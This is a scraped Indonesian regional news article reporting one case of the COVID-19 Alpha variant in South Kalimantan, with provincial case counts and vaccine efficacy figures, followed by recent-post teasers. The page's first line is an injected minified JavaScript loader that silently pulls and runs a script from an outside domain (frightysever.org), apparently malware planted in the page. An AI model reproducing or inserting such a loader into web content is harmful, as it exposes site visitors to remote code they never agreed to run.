(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

1 Kasus Covid-19 Varian Alpha Asal Inggris Terdeteksi di Kalsel


KANALKALIMANTAN.COM, BANJARBARU– Covid-19 terus bermutasi menjadi virus yang lebih berbahaya dan menular. Sejumlah mutasi saat ini dikenali dengan varian Apha, Beta, dan Delta yang saat ini memicu ledakan kasus baru di Indonesia.

Dari tiga varian tersebut, ternyata juga ditemukan 1 kasus varian Alpha asal Inggris di Kalimantan Selatan (Kalsel). Berdasar data Direktur Pencegahan dan Pengendalian Penyakit Menular Langsung Kementerian Kesehatan, Siti Nadia Tirmizi, berdasarkan data per 13 Juni 2021,sebaran kasus infeksi Covid-19 varian Alpha, ditemukan di Kepulauan Riau: 1 kasus, Sumatera Utara: 2 kasus, Sumatera Selatan: 1 kasus, Riau: 1 kasus, dan DKI Jakarta: 24 kasus.

Kasus sama juga ditemukan di Jawa Tengah: 1 kasus, Jawa Barat: 2 kasus, Jawa Timur: 2 kasus, Bali: 1 kasus, dan Kalimantan Selatan: 1 kasus. Terkait kasus ini, Kadinkes Kalsel M Muslim belum berhasil dikonfirmasi terkait temuan Covid-19 varian Alpha di Kalsel.

Sebagaimana diketahui, varian dari virus corona ini terbagi melalui penilaian komparatif dari beberapa faktor, seperti peningkatan penularan atau perubahan yang dapat merugikan, peningkatan virulensi atau perubahan pada presentasi terjadinya penyakit klinis, serta penurunan efektivitas terhadap vaksin.

 

 

Beberapa mutasi ini telah terjadi di beberapa negara dan bahkan menimbulkan dampak yang sangat buruk, sehingga perlu dihindari untuk menyebar di Indonesia.

Virus Corona varian Aplha adalah varian yang awalnya terdeteksi di Inggris. Alpha memiliki nama lain, seperti varian Kent atau virus B117. Disebutkan jika virus ini setidaknya lebih mudah menular daripada jenis yang pertama kali terdeteksi di China.

Pada Oktober silam, strain ini hanya terjadi pada 3 persen dari total kasus di Inggris, tetapi mencapai awal Februari, tercatat sebanyak 96 persen dari jumlah seluruhnya sehingga menimbulkan gelombang ketiga.

Baca juga:WASPADA. 148 Kasus Covid-19 Delta Terdeteksi di 6 Provinsi, Termasuk Kalteng dan Kaltim!

Selain itu, data juga menunjukkan jika virus COVID-19 ini sekitar 30–70 persen lebih mematikan dibandingkan yang lainnya. Meski begitu, suatu penelitian menunjukkan jika vaksin AstraZeneca memiliki tingkat efektivitas sebesar 70,4 persen melawan gejala COVID-19 dari varian baru ini. Untuk Pfizer, angkanya mencapai 89,5 persen yang terjadi paling tidak 14 hari setelah penerimaan dosis kedua.

(Kanalkalimantan.com/kompas)

Editor: cell


Risa

Recent Posts

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

1 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

3 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

3 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

3 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

5 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

6 jam ago

This website uses cookies.